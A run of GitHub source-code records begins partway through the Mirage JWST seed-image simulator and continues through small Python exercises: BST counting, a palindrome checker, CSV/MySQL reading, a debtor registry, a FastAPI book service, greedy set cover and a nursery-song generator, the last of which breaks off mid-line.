self.checkRunStep(self.params['Reffiles']['occult'])\n self.runStep['pointsource'] = self.checkRunStep(self.params['simSignals']['pointsource'])\n self.runStep['galaxies'] = self.checkRunStep(self.params['simSignals']['galaxyListFile'])\n self.runStep['extendedsource'] = self.checkRunStep(self.params['simSignals']['extended'])\n self.runStep['movingTargets'] = self.checkRunStep(self.params['simSignals']['movingTargetList'])\n self.runStep['movingTargetsSersic'] = self.checkRunStep(self.params['simSignals']['movingTargetSersic'])\n self.runStep['movingTargetsExtended'] = self.checkRunStep(self.params['simSignals']['movingTargetExtended'])\n self.runStep['MT_tracking'] = self.checkRunStep(self.params['simSignals']['movingTargetToTrack'])\n self.runStep['zodiacal'] = self.checkRunStep(self.params['simSignals']['zodiacal'])\n self.runStep['scattered'] = self.checkRunStep(self.params['simSignals']['scattered'])\n # self.runStep['fwpw'] = self.checkRunStep(self.params['Reffiles']['filtpupilcombo'])\n\n # Notify user if no catalogs are provided\n if self.params['simSignals']['pointsource'] == 'None':\n self.logger.info('No point source catalog provided in yaml file.')\n\n if self.params['simSignals']['galaxyListFile'] == 'None':\n self.logger.info('No galaxy catalog provided in yaml file.')\n\n # Determine the instrument module and detector from the aperture name\n aper_name = self.params['Readout']['array_name']\n self.instrument = self.params[\"Inst\"][\"instrument\"].lower()\n try:\n # previously detector was e.g. 'A1'. Let's make it NRCA1 to be more in\n # line with other instrument formats\n # detector = self.subdict[self.subdict['AperName'] == aper_name]['Detector'][0]\n # module = detector[0]\n detector = aper_name.split('_')[0]\n self.detector = detector\n if self.instrument == 'nircam':\n module = detector[3]\n elif self.instrument == 'niriss':\n module = detector[0]\n elif self.instrument == 'fgs':\n detector = detector.replace(\"FGS\", \"GUIDER\")\n module = detector[0]\n except IndexError:\n raise ValueError('Unable to determine the detector/module in aperture {}'.format(aper_name))\n\n # If instrument is FGS, then force filter to be 'NA' for the purposes\n # of constructing the correct PSF input path name. Then change to be\n # the DMS-required \"N/A\" when outputs are saved\n if self.instrument == 'fgs':\n self.params['Readout']['filter'] = 'NA'\n self.params['Readout']['pupil'] = 'NA'\n\n # Get basic flux calibration information\n self.vegazeropoint, self.photflam, self.photfnu, self.pivot = \\\n fluxcal_info(self.params['Reffiles']['flux_cal'], self.instrument, self.params['Readout']['filter'],\n self.params['Readout']['pupil'], detector, module)\n\n # Get the threshold signal value for pixels to be included in the\n # segmentation map. Pixels with signals greater than or equal to\n # this level will be included in the segmap\n self.set_segmentation_threshold()\n\n # Convert the input RA and Dec of the pointing position into floats\n # Check to see if the inputs are in decimal units or hh:mm:ss strings\n try:\n self.ra = float(self.params['Telescope']['ra'])\n\n self.dec = float(self.params['Telescope']['dec'])\n except:\n self.ra, self.dec = utils.parse_RA_Dec(self.params['Telescope']['ra'],\n self.params['Telescope']['dec'])\n\n #if abs(self.dec) > 90. or self.ra < 0. or self.ra > 360. or \\\n if abs(self.dec) > 90. or \\\n self.ra is None or self.dec is None:\n raise ValueError(\"WARNING: bad requested RA and Dec {} {}\".format(self.ra, self.dec))\n\n # make sure the rotation angle is a float\n try:\n self.params['Telescope'][\"rotation\"] = float(self.params['Telescope'][\"rotation\"])\n except ValueError:\n self.logger.error((\"ERROR: bad rotation value {}, setting to zero.\"\n .format(self.params['Telescope'][\"rotation\"])))\n self.params['Telescope'][\"rotation\"] = 0.\n\n siaf_inst = self.params['Inst']['instrument']\n if siaf_inst.lower() == 'nircam':\n siaf_inst = 'NIRCam'\n instrument_siaf = siaf_interface.get_instance(siaf_inst)\n self.siaf = instrument_siaf[self.params['Readout']['array_name']]\n self.local_roll, self.attitude_matrix, self.ffsize, \\\n self.subarray_bounds = siaf_interface.get_siaf_information(instrument_siaf,\n self.params['Readout']['array_name'],\n self.ra, self.dec,\n self.params['Telescope']['rotation'])\n\n # If the exposure uses one of the grism time series apertures, then read/determine\n # the intermediate aperture to use, and get associated SIAF information\n self.determine_intermediate_aperture(instrument_siaf)\n\n self.logger.info('SIAF: Requested {} got {}'.format(self.params['Readout']['array_name'], self.siaf.AperName))\n\n # If optical ghosts are to be added, make sure the ghost gap file is present in the\n # config directory. This will be downloaded from the niriss_ghost github repo regardless of whether\n # the file is already present, in order to ensure we have the latest copy.\n if self.params['Inst']['instrument'].lower() == 'niriss' and self.params['simSignals']['add_ghosts']:\n self.logger.info('Downloading NIRISS ghost gap file...')\n config_dir, ghost_file = os.path.split(NIRISS_GHOST_GAP_FILE)\n download_file(NIRISS_GHOST_GAP_URL, ghost_file, output_directory=config_dir, force=True)\n\n # Set the background value if the high/medium/low settings\n # are used\n bkgdrate_options = ['high', 'medium', 'low']\n\n # For WFSS observations, we want the background in the direct\n # seed image to be zero. The dispersed background will be created\n # and added as part of the dispersion process\n if self.params['Inst']['mode'].lower() == 'wfss':\n self.params['simSignals']['bkgdrate'] = 0.\n\n if np.isreal(self.params['simSignals']['bkgdrate']):\n self.params['simSignals']['bkgdrate'] = float(self.params['simSignals']['bkgdrate'])\n else:\n if self.params['simSignals']['bkgdrate'].lower() in bkgdrate_options:\n self.logger.info((\"Calculating background rate using jwst_background \"\n \"based on {} level\".format(self.params['simSignals']['bkgdrate'])))\n\n # Find the appropriate filter throughput file\n if os.path.split(self.params['Reffiles']['filter_throughput'])[1] == 'placeholder.txt':\n filter_file = utils.get_filter_throughput_file(self.params['Inst']['instrument'].lower(),\n self.params['Readout']['filter'],\n self.params['Readout']['pupil'],\n fgs_detector=detector, nircam_module=module)\n else:\n filter_file = self.params['Reffiles']['filter_throughput']\n\n self.logger.info((\"Using {} filter throughput file for background calculation.\"\n .format(filter_file)))\n\n # To translate background signals from MJy/sr to e-/sec to\n # ADU/sec, we need a mean gain value\n if self.params['Inst']['instrument'].lower() == 'nircam':\n if '5' in detector:\n shorthand = 'lw{}'.format(module.lower())\n else:\n shorthand = 'sw{}'.format(module.lower())\n self.gain_value = MEAN_GAIN_VALUES[self.params['Inst']['instrument'].lower()][shorthand]\n elif self.params['Inst']['instrument'].lower() == 'niriss':\n self.gain_value = MEAN_GAIN_VALUES[self.params['Inst']['instrument'].lower()]\n elif self.params['Inst']['instrument'].lower() == 'fgs':\n self.gain_value = MEAN_GAIN_VALUES[self.params['Inst']['instrument'].lower()][detector.lower()]\n\n if self.params['simSignals']['use_dateobs_for_background']:\n bkgd_wave, bkgd_spec = backgrounds.day_of_year_background_spectrum(self.params['Telescope']['ra'],\n self.params['Telescope']['dec'],\n self.params['Output']['date_obs'])\n self.params['simSignals']['bkgdrate'] = backgrounds.calculate_background(self.ra, self.dec,\n filter_file, True,\n self.gain_value, self.siaf,\n back_wave=bkgd_wave,\n back_sig=bkgd_spec)\n self.logger.info(\"Background rate determined using date_obs: {}\".format(self.params['Output']['date_obs']))\n else:\n # Here the background level is based on high/medium/low rather than date\n orig_level = copy.deepcopy(self.params['simSignals']['bkgdrate'])\n self.params['simSignals']['bkgdrate'] = backgrounds.calculate_background(self.ra, self.dec,\n filter_file, False,\n self.gain_value, self.siaf,\n level=self.params['simSignals']['bkgdrate'].lower())\n self.logger.info(\"Background rate determined using {} level: {}\".format(orig_level, self.params['simSignals']['bkgdrate']))\n else:\n raise ValueError((\"WARNING: unrecognized background rate value. \"\n \"Must be either a number or one of: {}\"\n .format(bkgdrate_options)))\n\n # Check that the various scaling factors are floats and within a reasonable range\n # self.params['cosmicRay']['scale'] = self.checkParamVal(self.params['cosmicRay']['scale'], 'cosmicRay', 0, 100, 1)\n self.params['simSignals']['extendedscale'] = self.checkParamVal(self.params['simSignals']['extendedscale'],\n 'extendedEmission', 0, 10000, 1)\n self.params['simSignals']['zodiscale'] = self.checkParamVal(self.params['simSignals']['zodiscale'],\n 'zodi', 0, 10000, 1)\n self.params['simSignals']['scatteredscale'] = self.checkParamVal(self.params['simSignals']['scatteredscale'],\n 'scatteredLight', 0, 10000, 1)\n\n # make sure the requested output format is an allowed value\n if self.params['Output']['format'] not in ALLOWEDOUTPUTFORMATS:\n raise ValueError((\"WARNING: unsupported output format {} requested. \"\n \"Possible options are {}.\".format(self.params['Output']['format'],\n ALLOWEDOUTPUTFORMATS)))\n\n # Entries for creating the grism input image\n if not isinstance(self.params['Output']['grism_source_image'], bool):\n if self.params['Output']['grism_source_image'].lower() == 'none':\n self.params['Output']['grism_source_image'] = False\n else:\n raise ValueError(\"WARNING: grism_source_image needs to be True or False\")\n\n # Location of extended image on output array, pixel x, y values.\n try:\n self.params['simSignals']['extendedCenter'] = np.fromstring(self.params['simSignals']['extendedCenter'],\n dtype=int, sep=\", \")\n except:\n raise RuntimeError((\"WARNING: not able to parse the extendedCenter list {}. \"\n \"It should be a comma-separated list of x and y pixel positions.\"\n .format(self.params['simSignals']['extendedCenter'])))\n\n # Check for consistency between the mode and grism_source_image value\n if ((self.params['Inst']['mode'] in ['wfss', 'ts_grism']) and (not self.params['Output']['grism_source_image'])):\n raise ValueError('Input yaml file has WFSS or TSO grism mode, but Output:grism_source_image is set to False. Must be True.')\n\n def checkRunStep(self, filename):\n # check to see if a filename exists in the parameter file.\n if ((len(filename) == 0) or (filename.lower() == 'none')):\n return False\n else:\n return True\n\n def read_pattern_check(self):\n # Check the readout pattern that's entered and set nframe and nskip\n # accordingly\n self.params['Readout']['readpatt'] = self.params['Readout']['readpatt'].upper()\n\n # Read in readout pattern definition file\n # and make sure the possible readout patterns are in upper case\n self.readpatterns = ascii.read(self.params['Reffiles']['readpattdefs'])\n self.readpatterns['name'] = [s.upper() for s in self.readpatterns['name']]\n\n # If the requested readout pattern is in the table of options,\n # then adopt the appropriate nframe and nskip\n if self.params['Readout']['readpatt'] in self.readpatterns['name']:\n mtch = self.params['Readout']['readpatt'] == self.readpatterns['name']\n self.params['Readout']['nframe'] = self.readpatterns['nframe'][mtch].data[0]\n self.params['Readout']['nskip'] = self.readpatterns['nskip'][mtch].data[0]\n self.logger.info(('Requested readout pattern {} is valid. '\n 'Using the nframe = {} and nskip = {}'\n .format(self.params['Readout']['readpatt'],\n self.params['Readout']['nframe'],\n self.params['Readout']['nskip'])))\n else:\n # If the read pattern is not present in the definition file\n # then quit.\n raise ValueError((\"WARNING: the {} readout pattern is not defined in {}.\"\n .format(self.params['Readout']['readpatt'],\n self.params['Reffiles']['readpattdefs'])))\n\n def filecheck(self):\n # Make sure the requested input files exist\n # For reference files, assume first that they are located in\n # the directory tree under the directory specified by the MIRAGE_DATA\n # environment variable. If not, assume the input is a full path\n # and check there.\n rlist = [['Reffiles', 'astrometric']]\n plist = [['simSignals', 'psfpath']]\n ilist = [['simSignals', 'pointsource'],\n ['simSignals', 'galaxyListFile'],\n ['simSignals', 'extended'],\n ['simSignals', 'movingTargetList'],\n ['simSignals', 'movingTargetSersic'],\n ['simSignals', 'movingTargetExtended'],\n ['simSignals', 'movingTargetToTrack']]\n # for ref in rlist:\n # self.ref_check(ref)\n for path in plist:\n self.path_check(path)\n for inp in ilist:\n self.input_check(inp)\n\n def ref_check(self, rele):\n \"\"\"\n Check for the existence of the input reference file\n Assume first that the file is in the directory tree\n specified by the MIRAGE_DATA environment variable.\n\n Parameters:\n -----------\n rele -- Tuple containing the nested keys that point\n to the refrence file of interest. These come\n from the yaml input file\n\n Reutrns:\n --------\n Nothing\n \"\"\"\n rfile = self.params[rele[0]][rele[1]]\n if rfile.lower() != 'none':\n c1 = os.path.isfile(rfile)\n if not c1:\n raise FileNotFoundError((\"WARNING: Unable to locate the {}, {} \"\n \"input file! Not present in {}\"\n .format(rele[0], rele[1], rfile)))\n\n def path_check(self, p):\n \"\"\"\n Check for the existence of the input path.\n Assume first that the path is in relation to\n the directory tree specified by the MIRAGE_DATA\n environment variable\n\n Parameters:\n -----------\n p -- Tuple containing the nested keys that point\n to a directory in self.params\n\n Returns:\n --------\n Nothing\n \"\"\"\n pth = self.params[p[0]][p[1]]\n c1 = os.path.exists(pth)\n if not c1:\n raise NotADirectoryError((\"WARNING: Unable to find the requested path \"\n \"{}. Not present in directory tree specified by \"\n \"the {} environment variable.\"\n .format(pth, self.env_var)))\n\n def get_surface_brightness_fluxcal(self):\n \"\"\"Get the conversion value for MJy/sr to ADU/sec from the jwst\n calibration pipeline photom reference file. The value is based\n on the filter and pupil value of the observation.\n \"\"\"\n photom_data = fits.getdata(self.params['Reffiles']['photom'])\n photom_filters = np.array([elem['filter'] for elem in photom_data])\n photom_pupils = np.array([elem['pupil'] for elem in photom_data])\n photom_values = np.array([elem['photmjsr'] for elem in photom_data])\n\n good = np.where((photom_filters == self.params['Readout']['filter'].upper()) & (photom_pupils == self.params['Readout']['pupil'].upper()))[0]\n if len(good) > 1:\n raise ValueError(\"More than one matching row in the photom reference file for {} and {}\".format(self.params['Readout']['filter'], self.params['Readout']['pupil']))\n elif len(good) == 0:\n raise ValueError(\"No matching row in the photom reference file for {} and {}\".format(self.params['Readout']['filter'], self.params['Readout']['pupil']))\n\n surf_bright_fluxcal = photom_values[good[0]]\n return surf_bright_fluxcal\n\n def set_segmentation_threshold(self):\n \"\"\"Determine the threshold value to use when determining which pixels\n to include in the segmentation map. Final units for the threshold\n should be ADU/sec, but inputs (in the input yaml file) can be:\n ADU/sec, electrons/sec, or MJy/str\n \"\"\"\n # First, set the default, in case the input yaml does not have the\n # threshold entry\n self.segmentation_threshold = SEGMENTATION_MIN_SIGNAL_RATE\n segmentation_threshold_units = 'adu/s'\n\n #Now see if there is an entry in the yaml file\n try:\n self.segmentation_threshold = self.params['simSignals']['signal_low_limit_for_segmap']\n segmentation_threshold_units = self.params['simSignals']['signal_low_limit_for_segmap_units'].lower()\n except KeyError:\n self.logger.info(('simSignals:signal_low_limit_for_segmap and/or simSignals:signal_low_limit_for_segmap_units '\n 'not present in input yaml file. Using the default value of: {} ADU/sec'.format(self.segmentation_threshold)))\n\n if segmentation_threshold_units not in SUPPORTED_SEGMENTATION_THRESHOLD_UNITS:\n raise ValueError(('Unsupported unit for the segmentation map lower signal limit: {}.\\n'\n 'Supported units are: {}'.format(segmentation_threshold_units, SUPPORTED_SEGMENTATION_THRESHOLD_UNITS)))\n if segmentation_threshold_units in ['adu/s', 'adu/sec']:\n pass\n elif segmentation_threshold_units == ['e/s', 'e/sec']:\n self.segmentation_threshold /= self.gain_value\n elif segmentation_threshold_units == ['mjy/sr', 'mjy/str']:\n surface_brightness_fluxcal = self.get_surface_brightness_fluxcal()\n self.segmentation_threshold /= surface_brightness_fluxcal\n elif segmentation_threshold_units in ['erg/cm2/a']:\n self.segmentation_threshold /= self.photflam\n elif segmentation_threshold_units in ['erg/cm2/hz']:\n self.segmentation_threshold /= self.photfnu\n\n def input_check(self, inparam):\n # Check for the existence of the input file. In\n # this case we do not check the directory tree\n # specified by the MIRAGE_DATA environment variable.\n # This is intended primarily for user-generated inputs like\n # source catalogs\n ifile = self.params[inparam[0]][inparam[1]]\n if ifile.lower() != 'none':\n c = os.path.isfile(ifile)\n if not c:\n raise FileNotFoundError((\"WARNING: Unable to locate {} Specified \"\n \"by the {}:{} field in the input yaml file.\"\n .format(ifile, inparam[0], inparam[1])))\n\n def checkParamVal(self, value, typ, vmin, vmax, default):\n # make sure the input value is a float and between min and max\n try:\n value = float(value)\n except:\n raise ValueError(\"WARNING: {} for {} is not a float.\".format(value, typ))\n\n if ((value >= vmin) & (value <= vmax)):\n return value\n else:\n self.logger.warning((\"ERROR: {} for {} is not within reasonable bounds. \"\n \"Setting to {}\".format(value, typ, default)))\n return default\n\n def determine_intermediate_aperture(self, siaf_info):\n \"\"\"If we are using one of the Grism time series apertures, then we need\n to pay attention to the intermediate aperture that APT uses. This aperture\n is not listed in the APT pointing file, but the V2, V3 reference values in\n the pointing file refer to the intermediate aperture. This aperture is used\n to place the target at the proper location such that once the grism is placed\n in the beam, the trace will land at the reference location of the aperture\n that is specified in the pointing file. For Mirage's purposes, we need to keep\n track of this intermediate aperture and its V2, V3 reference location so that\n we can create the correct undispersed seed image. The shift from the intermediate\n aperture source locations to the dispersed locations is contained in the\n configuration files in the GRISM_NIRCAM and GRISM_NIRISS repos.\n\n This function determines what the intermediate aperture name is, if any,\n and gets the associated SIAF information.\n\n Parameters\n ----------\n siaf_info : pysiaf.Siaf\n Instrument-level SIAF object\n \"\"\"\n self.use_intermediate_aperture = False\n try:\n if self.params['Readout']['intermediate_aperture'].lower() != 'none':\n self.logger.info(('Grism time series aperture in use. Using the intermediate aperture {} '\n 'to determine source locations on the detector for the undispersed seed image.'\n .format(self.params['Readout']['intermediate_aperture'])))\n self.use_intermediate_aperture = True\n except KeyError as exc:\n # Protect against running older yaml files where the intermediate_aperture field\n # is not present.\n if self.params['Readout']['array_name'] in NIRCAM_LW_GRISMTS_APERTURES:\n self.params['Readout']['intermediate_aperture'] = get_lw_grism_tso_intermeidate_aperture(self.params['Readout']['array_name'])\n self.logger.info(('Readout:intermediate_aperture field is not present in the input yaml file. Since '\n 'this is a LW channel exposure, Mirage can determine the intermediate aperture and '\n 'use it going forward.'))\n self.use_intermediate_aperture = True\n\n elif self.params['Readout']['array_name'] in NIRCAM_SW_GRISMTS_APERTURES:\n self.logger.error('Readout:intermediate_aperture field is not present in the input yaml file.')\n exc.args = ((('Readout:intermediate_aperture field is not present in the input yaml file. '\n 'For SW channel simulations that use grism time series apertures, there is no '\n 'way to determine the intermediate aperture without this yaml entry. Please add '\n 'this field to your yaml file with the appropriate '\n 'aperture name, or re-run the yaml_generator with the latest version of Mirage.')), )\n raise exc\n\n if self.use_intermediate_aperture:\n self.intermediate_siaf = siaf_info[self.params['Readout']['intermediate_aperture']]\n self.intermediate_local_roll, self.intermediate_attitude_matrix, _, \\\n _ = siaf_interface.get_siaf_information(siaf_info,\n self.params['Readout']['intermediate_aperture'],\n self.ra, self.dec,\n self.params['Telescope']['rotation'])\n\n def read_distortion_reffile(self):\n \"\"\"Read in the CRDS-format distortion reference file and save\n the coordinate transformation model\n \"\"\"\n coord_transform = None\n if self.runStep['astrometric']:\n with asdf.open(self.params['Reffiles']['astrometric']) as dist_file:\n coord_transform = dist_file.tree['model']\n # else:\n # coord_transform = self.simple_coord_transform()\n return coord_transform\n\n def saveSingleFits(self, image, name, key_dict=None, image2=None, image2type=None):\n # Save an array into the first extension of a fits file\n h0 = fits.PrimaryHDU()\n h1 = fits.ImageHDU(image, name='DATA')\n if image2 is not None:\n h2 = fits.ImageHDU(image2)\n if image2type is not None:\n h2.header['EXTNAME'] = image2type\n\n # if a keyword dictionary is provided, put the\n # keywords into the 0th and 1st extension headers\n if key_dict is not None:\n for key in key_dict:\n h0.header[key] = key_dict[key]\n h1.header[key] = key_dict[key]\n\n if image2 is None:\n hdulist = fits.HDUList([h0, h1])\n else:\n hdulist = fits.HDUList([h0, h1, h2])\n hdulist.writeto(name, overwrite=True)\n\n def add_options(self, parser=None, usage=None):\n if parser is None:\n parser = argparse.ArgumentParser(usage=usage, description='Create seed image via catalogs')\n parser.add_argument(\"paramfile\", help=('File describing the input parameters and instrument '\n 'settings to use. (YAML format).'))\n parser.add_argument(\"--param_example\", help='If used, an example parameter file is output.')\n return parser\n\n\nif __name__ == '__main__':\n\n usagestring = 'USAGE: catalog_seed_image.py inputs.yaml'\n\n seed = Catalog_seed()\n parser = seed.add_options(usage=usagestring)\n args = parser.parse_args(namespace=seed)\n seed.make_seed()\n","repo_name":"spacetelescope/mirage","sub_path":"mirage/seed_image/catalog_seed_image.py","file_name":"catalog_seed_image.py","file_ext":"py","file_size_in_byte":277825,"program_lang":"python","lang":"en","doc_type":"code","stars":38,"dataset":"github-code","pt":"48"} +{"seq_id":"14272425705","text":"# https://www.techiedelight.com/count-nodes-bst-that-lies-within-given-range/\n\n# Count nodes in a BST that lies within a given range\n\nfrom binary_search_tree import BinarySearchTree\n\nbst = BinarySearchTree()\n\nfor i in range(1, 10):\n bst.insert(i)\n\n\ndef count_nodes(root, min_value, max_value):\n if root is None:\n return 0\n\n count = 0\n\n if min_value < root.data < max_value:\n count += 1\n\n count = count + count_nodes(root.left, min_value, max_value)\n count = count + count_nodes(root.right, min_value, max_value)\n\n return count\n\n\nbst.inorder(bst.root)\nprint()\nprint(count_nodes(bst.root, 5, 10))\nprint(count_nodes(bst.root, 11, 12))\n","repo_name":"rajeevdodda/cracking-the-coding-interview","sub_path":"Trees-and-Graphs/easy/count_nodes_bst.py","file_name":"count_nodes_bst.py","file_ext":"py","file_size_in_byte":667,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"40499565095","text":"# 9.\tSprawdzenie czy tekst wprowadzany przez użytkownika jest palindromem.\r\n\r\ndef is_palindrom(user_string):\r\n palindrom = []\r\n temp_palindrom = []\r\n for letter in user_string:\r\n palindrom.append(letter)\r\n for i in range(len(palindrom)):\r\n # print(i) - numer kroku\r\n # print(palindrom[i]) pierwsza litera -> ostatnia\r\n # print(palindrom[-(i+1)]) ostatnia litera _> pierwsza\r\n if palindrom[i] == palindrom[-(i+1)]:\r\n temp_palindrom.append(palindrom[i])\r\n else:\r\n return f\"'{user_string}' to nie jest palindrom.\"\r\n return f\"Twój napis '{user_string}' jest palindromem.\"\r\n\r\n\r\n # print(f\"Długość palindromu {len(palindrom)}.\")\r\n\r\n\r\n\r\nuser_string = input(\"Podaj napis w celu sprawdzenia czy jest palindromem: \")\r\nprint(is_palindrom(user_string))","repo_name":"snufkinpl/public_glowing_star","sub_path":"School/AJP introduction in programming/zadania2/2_9.py","file_name":"2_9.py","file_ext":"py","file_size_in_byte":827,"program_lang":"python","lang":"pl","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"22730840102","text":"\"\"\"\n file: script.py\n description: this is script that read data and parse/extract new data\n date: 2023-04-30\n author: x\n\"\"\"\nimport sys\nimport argparse\nimport logging\nimport json\n\nimport pymysql\nimport pandas as pd\n\nhost = \"localhost\"\nport = 3306\ndatabase = \"test\"\nusername = \"root\"\npassword = \"1234\"\n\nimport_file = \"./in.csv\"\nexport_file = \"./out.csv\"\n\n\ndef mysql_read():\n try:\n # connect db\n conn = pymysql.connect(host=host, user=username, passwd=password, db=database, use_unicode=True, charset='utf8')\n cursor = conn.cursor()\n\n except Exception:\n logging.exception(\"failed conn\")\n sys.exit(1)\n \n # execute sql\n sql = \"SELECT * FROM tbl_member_detail\"\n cursor.execute(sql)\n \n # fetch data and extract columns\n rows = cursor.fetchall()\n field_names = [i[0] for i in cursor.description]\n\n # convert tuple to list\n list = []\n for row in rows:\n list.append(row)\n print(list)\n\n # list to df\n df = pd.DataFrame(list, columns=field_names)\n print(df)\n\n # convert df to csv\n df.to_csv(export_file, index = False)\n\n conn.close()\n\n\ndef csv_read():\n # read csv file\n df = pd.read_csv('./in.csv')\n print(df)\n\n # df to json\n data_json = df.to_json(orient='table', )\n print(data_json)\n\n # load json in python\n parsed = json.loads(data_json)\n print(parsed['data'])\n\n # load stringifying json (deep load json)\n for idx, data in enumerate(parsed['data']):\n for field in data.keys():\n try: \n parsed['data'][idx][field] = json.loads(data[field])\n except:\n parsed['data'][idx][field] = data[field]\n continue\n\n print(parsed['data'])\n\n # normalize \n detail_data = pd.json_normalize(data=parsed['data'])\n print(detail_data)\n\n\n\"\"\"\n--input / -i arguments\n\"\"\"\ndef get_arguments():\n parser = argparse.ArgumentParser()\n parser.add_argument('--input', '-i', nargs=1, help='please typing \"mysql\" or \"csv\"', dest='input_type', required=True)\n\n input_type = parser.parse_args().input_type\n\n return input_type\n\n\nif __name__ == '__main__':\n input_type = get_arguments()\n if input_type[0] == 'mysql':\n mysql_read()\n elif input_type[0] == 'csv':\n csv_read()\n else:\n print(\"please select type use '-i'\")\n","repo_name":"kjcaway/py-gather","sub_path":"script.py","file_name":"script.py","file_ext":"py","file_size_in_byte":2348,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"42379495949","text":"lista = []\n\ndef cadDevedor(): \n devedor = {\n 'nome':input(\"Nome: \").upper(),\n 'endereco':input(\"Endereco: \"),\n 'fone':input(\"Fone: \"),\n 'divida':float(input(\"Dívida: \")),\n }\n lista.append(devedor)\n print('Cadastro efetuado com sucesso!')\n\n\ndef atualizaDivida():\n nomeDevedor = input('Digite o nome do devedor: ').upper() \n for i in range (0,len(lista)):\n if lista[i]['nome'] == nomeDevedor:\n lista[i]['divida'] = (float(input('Digite o novo valor da dívida: ')))\n break\n\n print('Dívida atualizada com sucesso!')\n\n\ndef removeDevedor():\n nomeDevedor = input('Digite o nome do devedor a ser removido: ').upper() \n for i in range (0,len(lista)):\n if lista[i]['nome'] == nomeDevedor:\n lista.pop(i)\n break\n \n print('Cadastro removido com sucesso!')\n\n\ndef buscaDevedor():\n nomeDevedor = input('Digite o nome do devedor: ').upper()\n for i in range (0,len(lista)):\n if lista[i]['nome'] == nomeDevedor:\n print (f\"Nome: {lista[i]['nome']}\")\n print (f\"Endereço: {lista[i]['endereco']}\")\n print (f\"Fone: {lista[i]['fone']}\")\n print (f\"Dívida: {lista[i]['divida']}\")\n break\n\n\ndef listarDevedores():\n print ('\\nLISTA DE DEVEDORES CADASTRADOS') \n for i in range (0,len(lista)):\n print(f'\\nCadastro {i+1}')\n print (f\"Nome: {lista[i]['nome']}\")\n print (f\"Endereço: {lista[i]['endereco']}\")\n print (f\"Fone: {lista[i]['fone']}\")\n print (f\"Dívida: {lista[i]['divida']}\")\n\ndef menu():\n print ('\\nSISTEMA DE CONTROLE DE INADIMPLÊNCIA')\n print ('[1] CADASTRAR DEVEDOR')\n print ('[2] ATUALIZAR DÍVIDA')\n print ('[3] REMOVER DEVEDOR')\n print ('[4] BUSCAR DEVEDOR')\n print ('[5] LISTAR DEVEDORES')\n print ('[0] ENCERRAR PROGRAMA')\n\n \ndef main():\n \n menu()\n opcao = input('\\nDigite a opção desejada: ')\n\n while True:\n if opcao == '1':\n cadDevedor()\n\n elif opcao == '2':\n atualizaDivida()\n \n elif opcao == '3':\n removeDevedor()\n \n elif opcao == '4':\n buscaDevedor()\n\n elif opcao == '5':\n listarDevedores()\n \n elif opcao == '0':\n break\n\n else:\n print('Opção Inválida')\n \n menu()\n opcao = input('\\nDigite a opção desejada: ')\n \n\n \n\nmain()","repo_name":"joaohfgarcia/python","sub_path":"uniesp_p2/dicionarios_TED.py","file_name":"dicionarios_TED.py","file_ext":"py","file_size_in_byte":2453,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"73656935506","text":"from src.utils.unitofworks import UnitOfWork\nfrom src.utils.mixins import GetAuthorMixin\n\nfrom .schemas import CreateBook, UpdateBook\n\n\nclass BookService(GetAuthorMixin):\n async def create(self, uow: UnitOfWork, obj: CreateBook):\n async with uow:\n new_book = await uow.repository.create(obj)\n await uow.commit()\n return new_book\n \n async def update(self, uow: UnitOfWork, id: int, data: UpdateBook):\n async with uow:\n book = await uow.repository.update(id, data)\n await uow.commit()\n return book\n \n async def all(self, uow: UnitOfWork):\n async with uow:\n books = await uow.repository.all()\n return await self.get_books_with_authors(books)\n \n async def get(self, uow: UnitOfWork, id: int):\n async with uow:\n book = await uow.repository.get(id)\n return await self.get_book_with_authors(book)\n ","repo_name":"pavel-97/FastAPI_Library3","sub_path":"book/src/services.py","file_name":"services.py","file_ext":"py","file_size_in_byte":969,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"18303788741","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Sun Mar 7 10:14:40 2021\n\n@author: Пользователь\n\"\"\"\n\n#states list, transform it into plurality\nstates_needed = set([\"mt\", \"wa\", \"or\", \"id\", \"nv\", \"ut\", \"ca\", \"az\"])\n\n#hash of the stations we choose for covering\n#keys - names of the stations, values - names of the states \nstations = {}\nstations[\"kone\"] = set([\"id\", \"nv\", \"ut\"])\nstations[\"ktwo\"] = set([\"wa\", \"id\", \"mt\"])\nstations[\"kthree\"] = set([\"or\", \"nv\", \"ca\"])\nstations['kfour'] = set([\"nv\", \"ut\"])\nstations[\"kfive\"] = set([\"ca\", \"az\"])\n\n#final stations set\nfinal_stations = set()\n\n#covered - is a plurality that contains states present in both 'states_needed'\n# and in 'states_for_station'. \n#than we check if this station covers more states than the current station\n#and if it is right we save currenr station into best_station\n\nwhile states_needed:\n best_station = None\n states_covered = set()\n for station, states_for_station in stations.items():\n covered = states_needed & states_for_station\n if len(covered) > len(states_covered):\n best_station = station\n states_covered = covered\nstates_needed -= states_covered\nfinal_stations.add(best_station)\n \n \n#let's print our result\nprint(final_stations)\n","repo_name":"IvBlack/python","sub_path":"radiostat.py","file_name":"radiostat.py","file_ext":"py","file_size_in_byte":1268,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"17517660389","text":"from functools import reduce\n\nANIMALS = [\n (\"fly\", None, \"I don't know why she swallowed the fly. Perhaps she'll die.\"),\n (\"spider\", \"It wriggled and jiggled and tickled inside her.\", None),\n (\n \"bird\",\n \"How absurd to swallow a bird!\",\n \"She swallowed the bird to catch the spider that wriggled and jiggled and tickled inside her.\",\n ),\n (\"cat\", \"Imagine that, to swallow a cat!\", None),\n (\"dog\", \"What a hog, to swallow a dog!\", None),\n (\"goat\", \"Just opened her throat and swallowed a goat!\", None),\n (\"cow\", \"I don't know how she swallowed a cow!\", None),\n (\"horse\", None, \"She's dead, of course!\"),\n]\n\n\ndef verse(verse_i):\n return list(\n filter(\n lambda x: x != None,\n [\n f\"I know an old lady who swallowed a {ANIMALS[verse_i][0]}.\",\n ANIMALS[verse_i][1],\n *_recursive_ends(verse_i),\n ],\n )\n )\n\n\ndef _recursive_ends(verse_i):\n end_verse = [\n ANIMALS[verse_i][2]\n or f\"She swallowed the {ANIMALS[verse_i][0]} to catch the {ANIMALS[verse_i - 